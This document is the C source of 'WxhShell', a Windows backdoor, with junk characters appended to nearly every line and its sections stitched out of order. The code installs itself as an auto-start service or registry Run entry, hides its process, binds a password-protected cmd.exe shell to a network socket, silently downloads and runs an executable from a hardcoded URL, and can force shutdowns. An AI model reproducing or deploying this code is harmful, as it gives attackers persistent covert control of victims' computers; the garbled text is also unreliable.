    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =)IV^6~b  
    else { 2kW*Z7@D  
    closesocket(wsh); &[qJ=HMm I  
    ExitThread(0); wHE1Jqpo  
    } R@A"U[*  
    break; DTo P|P  
    } SK t&BnW  
  // 获取shell *RJiHcII  
  case 's': { v!6IH  
    CmdShell(wsh); UJ7{FN=@t  
    closesocket(wsh); M&J$9X  
    ExitThread(0); ,HECHA_"  
    break; u5rHQA0%  
  } -W.bOr  
  // 退出 ~U+W4%f8  
  case 'x': { "/0Vvy_|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xV>sc;PEb  
    CloseIt(wsh); F42?h:y8I  
    break; mIah[~G  
    } f?W"^6Df  
  // 离开 ^k5#{?I  
  case 'q': { &h'NC%"v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,u^%[ejH  
    closesocket(wsh); H{ I,m-  
    WSACleanup(); X1 FKcWv  
    exit(1); ]:}x 4O#  
    break; b:(t22m#?  
        } BNq6dz$J  
  } O6$n VpD3  
  } 7_CX6:  
8T}Dn\f  
  // 提示信息 -muP.h/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EFz Pt?l  
} Wp(Rw4j  
  } 35n'sVn  
8/ zv3.+[  
  return; _WN\9<  
} i#:M2&twE  
$/"QYSF  
// shell模块句柄 {-1N@*K  
int CmdShell(SOCKET sock) &}!AjA)  
{ 0S&C[I o6  
STARTUPINFO si; x<1t/o  
ZeroMemory(&si,sizeof(si)); sGO+O$J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m ;{(U Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5`Y>!| Ab  
PROCESS_INFORMATION ProcessInfo; >/G[Oo  
char cmdline[]="cmd"; ,jdTe?[*^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _@! yj  
  return 0; 9yWSlbPr]  
} J6gn!  
TF~cDn  
// 自身启动模式 `Ln1g@  
int StartFromService(void) |>Pz#DCy  
{ <[' ucp  
typedef struct FYIz_GTk  
{ hq?F8 1  
  DWORD ExitStatus; bJ^Jmb  
  DWORD PebBaseAddress; mNKcaM?h  
  DWORD AffinityMask; N9 TM  
  DWORD BasePriority; vQ8$C 3  
  ULONG UniqueProcessId;  TUq ,  
  ULONG InheritedFromUniqueProcessId; IAMtMO^L  
}   PROCESS_BASIC_INFORMATION; qAi:F=> X  
dpcU`$kt  
PROCNTQSIP NtQueryInformationProcess; \ 0.!al0  
/Nns3oE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !*PX -  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &n]]OPo  
OmZK~$K_  
  HANDLE             hProcess; }c=YiH,o  
  PROCESS_BASIC_INFORMATION pbi; s:ojlmPb  
=yZ6$ hK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H/l,;/q]b  
  if(NULL == hInst ) return 0; <`Qb b=*  
dQ Lo,S8(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?dmw z4k0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (5kL6d2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vHN/~k#  
2XyC;RWJ%  
  if (!NtQueryInformationProcess) return 0; Z/LYTo$Bz  
HpS1(%d"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0s6eF+bs  
  if(!hProcess) return 0; ! q+>'Mt  
Y4N)yMSl"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c=<^pCa9t1  
'![VA8  
  CloseHandle(hProcess); \O)u' Bu  
$]MOAj"LH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \zzPsnFIg  
if(hProcess==NULL) return 0; Yu:($//w  
|#EI(W?`  
HMODULE hMod; O@>{%u  
char procName[255]; j.:f =`xf  
unsigned long cbNeeded; H>wXQ5?W;  
wrVR[v>E<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S"/gZfxer  
orhze Oi\  
  CloseHandle(hProcess); mxICQ>s b  
4"eeEs h  
if(strstr(procName,"services")) return 1; // 以服务启动 {'cdi`  
tDtqTB}  
  return 0; // 注册表启动 j6Au<P  
} 1~vv<`-  
N@8tf@BT   
// 主模块 n"<'F4r  
int StartWxhshell(LPSTR lpCmdLine) :-~x~ah-  
{ y2Vc[o(NP  
  SOCKET wsl; 8KWhXF  
BOOL val=TRUE; l#a*w  
  int port=0; GuQ#  
  struct sockaddr_in door; Mm%b8#Fe!  
iBCIJ!;  
  if(wscfg.ws_autoins) Install(); P7!gUxcv9Y  
\oO &c  
port=atoi(lpCmdLine); r]&&*:  
.&/A!3pW  
if(port<=0) port=wscfg.ws_port; 4}Hf"L[ l  
<9`/Y"\p  
  WSADATA data; ar@ysBy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $'bb)@_  
[Rzn>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Dm`gzGl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >k(AQW5?  
  door.sin_family = AF_INET; N~B'gJJDx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hYh~[Kr^@^  
  door.sin_port = htons(port); ||.Ve,<:  
*'R2Lo<C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -3C$br  
closesocket(wsl); K_V$ktL  
return 1; g'V,K\TG  
} ~q{QquYV  
v9Ez0 :)  
  if(listen(wsl,2) == INVALID_SOCKET) { -ha[xM05  
closesocket(wsl); AI2>{V  
return 1; UbSD?Ew@35  
} WI54xu1M  
  Wxhshell(wsl); iPrAB*  
  WSACleanup(); dNz!2mbO  
r-o6I:y  
return 0; Fi"TY^-E;  
dH0wVI<z  
} )F:UkS  
|*zvaI(}  
// 以NT服务方式启动 HO;,Ya^l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mOx>p"n  
{ jI807g+  
DWORD   status = 0; E)F"!56lV  
  DWORD   specificError = 0xfffffff; q.PXO3T  
~kPZh1n`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U+g<lgH1J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NGb\e5?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y ptP_R:2p  
  serviceStatus.dwWin32ExitCode     = 0; g [+_T{  
  serviceStatus.dwServiceSpecificExitCode = 0; 0G/_"} @  
  serviceStatus.dwCheckPoint       = 0; cGe-|>:  
  serviceStatus.dwWaitHint       = 0; 84ma X'  
u< .N\/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NeY,Of|  
  if (hServiceStatusHandle==0) return; pJ]i)$M  
.R {P%r  
status = GetLastError(); xGymQ|y84  
  if (status!=NO_ERROR) RDQK_Ef:  
{ Hf$LWPL)lM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n7K\\|X  
    serviceStatus.dwCheckPoint       = 0; /h73'"SpDy  
    serviceStatus.dwWaitHint       = 0; 8p~G)J3U  
    serviceStatus.dwWin32ExitCode     = status; HCKj8-*  
    serviceStatus.dwServiceSpecificExitCode = specificError; qct:xviH<|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Po82nKAh  
    return; NI?YUhg>  
  } Md,KW#  
4 g^oy^~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ie8jBf -  
  serviceStatus.dwCheckPoint       = 0; m;KD@E!  
  serviceStatus.dwWaitHint       = 0; 4PAuEM/z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N b@zn0A(;  
} Vt D:'L-  
;p'Ej'E  
// 处理NT服务事件,比如:启动、停止 G8_|w6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U49 `!~b7  
{ O<?z\yBtS^  
switch(fdwControl) I<ta2<h  
{ |cUBS)[)X  
case SERVICE_CONTROL_STOP: \@HsMV2+zN  
  serviceStatus.dwWin32ExitCode = 0; z wJ Vi9sO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 42mZ.,<  
  serviceStatus.dwCheckPoint   = 0; "FT(U{^7d  
  serviceStatus.dwWaitHint     = 0; Bys_8x}  
  { 2k$~Mv@L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /{d5$(Y"  
  } 11 >K\"K}  
  return; VaRP+J}UA.  
case SERVICE_CONTROL_PAUSE: L H`z '7&/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }hv" ku6!  
  break; 9n#Em  
case SERVICE_CONTROL_CONTINUE: q!P{a^Fnc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O}IRM|r"  
  break; g x~fZOF_  
case SERVICE_CONTROL_INTERROGATE: _Q1[t9P"  
  break; +Tw]u`  
}; d2e4=/ A%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @(m XiK  
} =fr_` "?k  
I6E!$ }  
// 标准应用程序主函数 7xmif YC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) + (|6Wv  
{ 3bW(VvgcL4  
y=)xo7 (  
// 获取操作系统版本 u \zP`Y  
OsIsNt=GetOsVer(); $M=W`E[g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7#BU d/  
CUR70[pB)  
  // 从命令行安装 EecV%E  
  if(strpbrk(lpCmdLine,"iI")) Install(); T1Q c?5K^  
6X@$xe847[  
  // 下载执行文件 3M[b)At V.  
if(wscfg.ws_downexe) { eJ23$VM+9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p7pJ90~E  
  WinExec(wscfg.ws_filenam,SW_HIDE); \Y{^Q7!>:8  
} 8T#tB,<fFW  
Mh+ym]6\(k  
if(!OsIsNt) { GDW$R`2  
// 如果时win9x,隐藏进程并且设置为注册表启动 GrB+Y!{{  
HideProc(); g}B|ZRz+{  
StartWxhshell(lpCmdLine); =#"ZO  
} I;<aJo6Yl  
else *N;# _0)/  
  if(StartFromService()) m%bw$hr  
  // 以服务方式启动 '!%Zf;Fjr  
  StartServiceCtrlDispatcher(DispatchTable); _K?{DnTb  
else G-)Q*p{i|  
  // 普通方式启动 L/VlmN_v>s  
  StartWxhshell(lpCmdLine); *)jhhw=34  
E?z~)0z2`  
return 0; -$[o:dLO  
} 9y~5@/3 2R  
2V 1|b`b#4  
`bJ+r)+5  
tC,R^${#  
=========================================== #0WGSIht<  
POtj6 ?a  
vncak  
M%evk4_27  
V u/{Hr  
s5DEuu>g  
" H 40~i=.  
Me HlxI  
#include <stdio.h> LtxeT .  
#include <string.h> QD6in>+B@  
#include <windows.h> Wy[Ua#Dd  
#include <winsock2.h> 7$l!f  
#include <winsvc.h> d%y)/5  
#include <urlmon.h> 5p.vo"7  
}J~ d6m  
#pragma comment (lib, "Ws2_32.lib") i58&o@.H<u  
#pragma comment (lib, "urlmon.lib") 5u<F0$qHc  
fr\"MP  
#define MAX_USER   100 // 最大客户端连接数 UkE  fuH  
#define BUF_SOCK   200 // sock buffer RZtY3:FBx|  
#define KEY_BUFF   255 // 输入 buffer {W[OjPC~F  
wN|;_~h2  
#define REBOOT     0   // 重启 %[<@$qP  
#define SHUTDOWN   1   // 关机 , : I:F  
[O"9OW'2!B  
#define DEF_PORT   5000 // 监听端口 5 (Lw-_y#  
|4J ;s7us  
#define REG_LEN     16   // 注册表键长度 \i*QKV<  
#define SVC_LEN     80   // NT服务名长度 K/Q%tr1W0  
Y+,ii$Ce~  
// 从dll定义API jvI!BZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y ,Iv<Hg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =N62 ){{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <6 HrHw_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y@#JzfY?Hr  
<sALA~p|0  
// wxhshell配置信息 gQ < >S  
struct WSCFG { H2ZRUFu  
  int ws_port;         // 监听端口 kM0TQX)$m  
  char ws_passstr[REG_LEN]; // 口令 m W/6FC  
  int ws_autoins;       // 安装标记, 1=yes 0=no N(6Q`zs  
  char ws_regname[REG_LEN]; // 注册表键名 P}2i[m.*,  
  char ws_svcname[REG_LEN]; // 服务名 sew0n`d1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +N|}6e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 { ]*#WU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b"DV8fdX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;p/%)WW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ! sN~w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U<YP@?w  
s=Cu-.~L  
}; F}f/cG<X  
?~%Go  
// default Wxhshell configuration .T>^bLuFy  
struct WSCFG wscfg={DEF_PORT, b1*5#2rs.  
    "xuhuanlingzhe", lYF~CNvE  
    1, pie,^-_.g  
    "Wxhshell", 4N!Eqw  
    "Wxhshell", T 5AoBUw  
            "WxhShell Service", 0SHF 8kek  
    "Wrsky Windows CmdShell Service", \y7kb  
    "Please Input Your Password: ", e5s=@-[  
  1, Rk8oshS+2  
  "http://www.wrsky.com/wxhshell.exe", R4#56#d<  
  "Wxhshell.exe" @VzD> ?)  
    }; $:RP tG  
;Y^.SR"  
// 消息定义模块 /c&;WlE/n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RBA{!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !4/s|b9K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~jpdDV&u\  
char *msg_ws_ext="\n\rExit."; 1MPn{#Ff  
char *msg_ws_end="\n\rQuit."; @V7HxW7RX  
char *msg_ws_boot="\n\rReboot..."; ]\.3<^  
char *msg_ws_poff="\n\rShutdown..."; aANzL  
char *msg_ws_down="\n\rSave to "; mdB~~j  
KE_GC ;bQ  
char *msg_ws_err="\n\rErr!"; \7d T]VV  
char *msg_ws_ok="\n\rOK!"; zz7#g U  
 j1sgvh]D  
char ExeFile[MAX_PATH]; 6p}dl>T_y  
int nUser = 0; jgyXb5GY  
HANDLE handles[MAX_USER]; <CIy|&J6  
int OsIsNt; w(EUe4 w{  
 &$ x1^  
SERVICE_STATUS       serviceStatus; S#|dmg;p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }u `~lw(Z  
N+#lS7  
// 函数声明 .!^}sp,E  
int Install(void); v6#i>n~x,  
int Uninstall(void); a^>e| Eq|  
int DownloadFile(char *sURL, SOCKET wsh); <`P7^ 'z!  
int Boot(int flag); ]tnf< 5x  
void HideProc(void); i uGly~  
int GetOsVer(void); vyXL F'L  
int Wxhshell(SOCKET wsl); TEEt]R-y  
void TalkWithClient(void *cs); \:pd+8  
int CmdShell(SOCKET sock); <AN=@`+  
int StartFromService(void); FhAYk  
int StartWxhshell(LPSTR lpCmdLine); z<~yns`Y.  
+)06*"I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F=9-po  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :%2uZ/cG(  
EjjW%"C,  
// 数据结构和表定义 ~ ~U,  
SERVICE_TABLE_ENTRY DispatchTable[] = 2$=I+8IL  
{ D:DtP6  
{wscfg.ws_svcname, NTServiceMain}, $Ao iH{f  
{NULL, NULL} -q")qNt.  
}; }Lc8tj<  
s^lm 81;  
// 自我安装 L8.u7(-#  
int Install(void) *3s,~<''%  
{ C<"b99\2`  
  char svExeFile[MAX_PATH]; tFrNnbmlQ  
  HKEY key; z.6I6IfL\L  
  strcpy(svExeFile,ExeFile); ^>/] Qi  
*m.4)2u=  
// 如果是win9x系统,修改注册表设为自启动 ?'%9  
if(!OsIsNt) { ^Sj*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UkzLUok]U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QKt+Orz  
  RegCloseKey(key); "IMq +  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /`H{ n$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;: 4PT~\*  
  RegCloseKey(key); k.K;7GZC  
  return 0; 3^2P7$W=   
    } A"pV 7 y  
  } Q|&Wcxq2!  
} .~Y% AI  
else { 0?/vcsO  
.~jn N  
// 如果是NT以上系统,安装为系统服务 +~l`rJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iD`>Bt7gD  
if (schSCManager!=0) YH-+s   
{ v3Xt<I=4y  
  SC_HANDLE schService = CreateService eczS(KoL4  
  ( GkYD:o=qx  
  schSCManager, q%\rj?U_  
  wscfg.ws_svcname, Wt $q{g{C  
  wscfg.ws_svcdisp, \rPT7\ZA  
  SERVICE_ALL_ACCESS, |:G`f8q9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O9jpt>:kZ  
  SERVICE_AUTO_START, kp>AZVk  
  SERVICE_ERROR_NORMAL, n^:Wc[[m  
  svExeFile, +E8}5pDt  
  NULL, \r^*4P,,  
  NULL, ` 8OA:4).  
  NULL, ^_o9%)RL(  
  NULL, yMCd5%=M\  
  NULL xjO((JC  
  ); /'WVRa  
  if (schService!=0) HS[N]'dc  
  { B%^ $fJ|  
  CloseServiceHandle(schService); I15g G.)  
  CloseServiceHandle(schSCManager); w$)E#|i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9G)q U  
  strcat(svExeFile,wscfg.ws_svcname); 8"2X 8C8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (U#9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o])2_e5  
  RegCloseKey(key); dX>l"))yR  
  return 0; 5p5S_%R$e  
    } o;<oXv  
  } RiNKUk{-  
  CloseServiceHandle(schSCManager); ;zZGV4Qc~  
} 0"O22<K3a  
} )Og,VXEB  
q9mYhT/Im  
return 1; IsjD-t  
} {Kh u'c  
%U$PcHOo  
// 自我卸载 M.QXwIT  
int Uninstall(void) TRSR5D[  
{ )/1,Ogb%_  
  HKEY key; &:ib>EB03=  
%}%vey  
if(!OsIsNt) { |[]"{Eo"}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !`-/E']/  
  RegDeleteValue(key,wscfg.ws_regname); R9B!F{! 5  
  RegCloseKey(key); USrg,A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }\oy?_8~  
  RegDeleteValue(key,wscfg.ws_regname); BHW8zY=F  
  RegCloseKey(key); ]/y&5X  
  return 0; #[a+m  
  } d;kdw  
} zFtRsa5 +  
} !SFF 79$c  
else { Y=#g_(4*  
k 8Swra?j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u\-f\Z7  
if (schSCManager!=0) ZJxUv {J  
{ k^IC"p Uc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b6k'`vLA  
  if (schService!=0) ]zza/O;31(  
  { nD$CY K  
  if(DeleteService(schService)!=0) { z$d/Vz,a  
  CloseServiceHandle(schService); W&U Nk,  
  CloseServiceHandle(schSCManager); B0KZdBRx}  
  return 0; W]UGo,  
  } ;J[1S  
  CloseServiceHandle(schService); J=gerdIk  
  } YAIDSZ&l[  
  CloseServiceHandle(schSCManager); bw8~p%l?  
} <E(#;F^y  
} }lk_Oe1  
mGXjSWsd  
return 1; *\Y \$w  
} >HUU`= SC  
}wh)I]]U  
// 从指定url下载文件 "(hhb>V1Wl  
int DownloadFile(char *sURL, SOCKET wsh) ov=[g l  
{ XM$HHk}L;  
  HRESULT hr; ['MG/FKuv  
char seps[]= "/"; S3[rv  
char *token; -$E_L :M  
char *file; Xz'pZ*Hr$v  
char myURL[MAX_PATH]; 9ZL3p!  
char myFILE[MAX_PATH]; J>YwMl  
^1vh5D  
strcpy(myURL,sURL); DHO6&8S  
  token=strtok(myURL,seps); <|NP!eMsw8  
  while(token!=NULL) SSKn7`  
  { ]w/`02w"$  
    file=token; 4+od N.  
  token=strtok(NULL,seps); *7C t#GC  
  } 8I)66  
a a=GW%  
GetCurrentDirectory(MAX_PATH,myFILE); x1\,WOrmK  
strcat(myFILE, "\\"); /2K4ka<?7  
strcat(myFILE, file); u=h:d+rq@  
  send(wsh,myFILE,strlen(myFILE),0); gRS}Y8  
send(wsh,"...",3,0); 9Xt5{\PJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ')w:`8Tl  
  if(hr==S_OK) XO+^q9  
return 0; 'ao<gTUbu  
else sv0) sL  
return 1; \`\& G-\  
[];*9vxW  
} 0b9;v lGq$  
b-8{bP]n  
// 系统电源模块 0Zp) DM  
int Boot(int flag) |*5Kfxq  
{ {OP[Rrm  
  HANDLE hToken; P08=?  
  TOKEN_PRIVILEGES tkp; "d60IM#N?  
bT<if@h-  
  if(OsIsNt) { xJtblZ1sr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 79|=y7i#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `LU[+F8<  
    tkp.PrivilegeCount = 1; V9*Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K,{P b?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JsohhkJNGi  
if(flag==REBOOT) { 0b%"=J2/p.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j+He8w-4  
  return 0; F+mn d,3  
} 0|kkwZVPn  
else { T 22tZp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?AC flU_k  
  return 0; jnfktDV'  
} SJb+:L>  
  } kR2kV"-l  
  else { b^[Ab:`}[V  
if(flag==REBOOT) { (jbHV.]P9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lXH?*  
  return 0; -`nQa$N-  
} ]hNio6CVm  
else { u~WBu|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h"Qp e'D}  
  return 0; bBwQ1,c$  
} 04ZP\  
} THC7e>P4  
~9%L)nC2'  
return 1; jdz]+Q`jq  
} t5: 1' N9P  
84g$V}mp  
// win9x进程隐藏模块 8S*3W3HY  
void HideProc(void) WzD=Ol  
{ rCt8Q&mzf  
e ]-fb{oVH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cAFYEx/(  
  if ( hKernel != NULL ) L'(ei7Z  
  { (QS4<J"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .g/PWEr\I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <'WS -P%U  
    FreeLibrary(hKernel); \ZNUt$\  
  } in}d(%3h  
'W'['TV  
return; +H"[WZ5  
} ^j~CYzmt  
s{g^K#BoFi  
// 获取操作系统版本 }eKY%WU>O  
int GetOsVer(void) h 8Shf"  
{ ]#$l"ss,  
  OSVERSIONINFO winfo; >|j8j:S[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CuT~ Bj  
  GetVersionEx(&winfo); N{b ;kiZq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) olA 1,8  
  return 1; d WKjVf  
  else o2'^MxKb T  
  return 0; 6gr?#D -F  
} E ^ub8  
Y\7WCaSgi  
// 客户端句柄模块 lftT55Tki  
int Wxhshell(SOCKET wsl) d2\#Zlu<  
{ `1xJ1 z#  
  SOCKET wsh; 3lh^maQ]  
  struct sockaddr_in client; FaA'%P@  
  DWORD myID; %imI.6   
@m`1Vq?O  
  while(nUser<MAX_USER) PxAUsY  
{ 0:C^-zrx  
  int nSize=sizeof(client); GkU]>8E'"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :,8eM{.Q  
  if(wsh==INVALID_SOCKET) return 1; RyuI2jEy  
w?JRY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mMt~4(5  
if(handles[nUser]==0) "a T "o  
  closesocket(wsh); zWA~0l.2  
else [}*xxy   
  nUser++; cXDG(.!n7B  
  } fkHCfcU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }57d3s  
jhx@6[  
  return 0; "e;wN3/bF  
} Au"7w=G`f  
7g%.:H =  
// 关闭 socket ^`*p;&(K\^  
void CloseIt(SOCKET wsh) ^630%YO  
{ <jz\U7TBf  
closesocket(wsh); >Y)FoHa+/  
nUser--; QnMN8Q9  
ExitThread(0); ]"X} FU  
} u27*-X 5  
4*9WxhJ ]0  
// 客户端请求句柄 ~IQ2;A  
void TalkWithClient(void *cs) #Zq[.9!q{  
{ G5Z_[Q ~z  
6Gj69Lr  
  SOCKET wsh=(SOCKET)cs; K /A1g.$  
  char pwd[SVC_LEN]; Y'9<fSn5&  
  char cmd[KEY_BUFF]; |]=s  
char chr[1]; au?5^u\  
int i,j; &{=`g+4n  
IzWS6!zKU  
  while (nUser < MAX_USER) { _[p@V_my  
-Izc-W  
if(wscfg.ws_passstr) { PvkHlb^x%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k 1sR^&{l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wf&1,t3Bgn  
  //ZeroMemory(pwd,KEY_BUFF); R2B0?fu  
      i=0; }DzN-g<K  
  while(i<SVC_LEN) { Y)KO*40c  
hcJny  
  // 设置超时 'i7!"Y6>  
  fd_set FdRead; $8t\|O3  
  struct timeval TimeOut; !1{kG%B=  
  FD_ZERO(&FdRead); zrazFI0G  
  FD_SET(wsh,&FdRead); j|c6BdROl  
  TimeOut.tv_sec=8; vkg."G:=  
  TimeOut.tv_usec=0; uJ_"gPO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y|O)i I/g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .:?cU#.  
d\ {a&\v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bR&<vrMmrA  
  pwd=chr[0]; H>Ws)aCq  
  if(chr[0]==0xd || chr[0]==0xa) { ;d{lvKk  
  pwd=0; B_uAa5'  
  break; fNZ:l=L3):  
  } \[5mBuk  
  i++; @ZFU< e$!  
    } )9mUE*[  
;x~[om21;  
  // 如果是非法用户,关闭 socket Kj`sq":Je0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V9r58hbVT  
} J"W+9sI0  
%\n&iRwDF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k w]m7 T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ; rJ  
#&jr9RB  
while(1) { q=|0lZ$`V_  
dtT2h>h9  
  ZeroMemory(cmd,KEY_BUFF); c-, 6k  
8G0DuMI5  
      // 自动支持客户端 telnet标准   -ip fGb  
  j=0; lS:R##  
  while(j<KEY_BUFF) { OJH:k~]0!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &ivPY  
  cmd[j]=chr[0]; 7h3JH  
  if(chr[0]==0xa || chr[0]==0xd) { g :Z, ab4  
  cmd[j]=0; S.kFs{;1x  
  break; ^"?b!=n!  
  } !1M=9 ~$!  
  j++; #:?MtVC  
    } _U@;Z*(%vh  
F< #!83*%  
  // 下载文件 >X(,(mKi  
  if(strstr(cmd,"http://")) { ^M Zdht   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V^^nJs tV  
  if(DownloadFile(cmd,wsh)) b[I;6HW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |UO&18Y7-  
  else RL;>1Q,H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;%R+]&J  
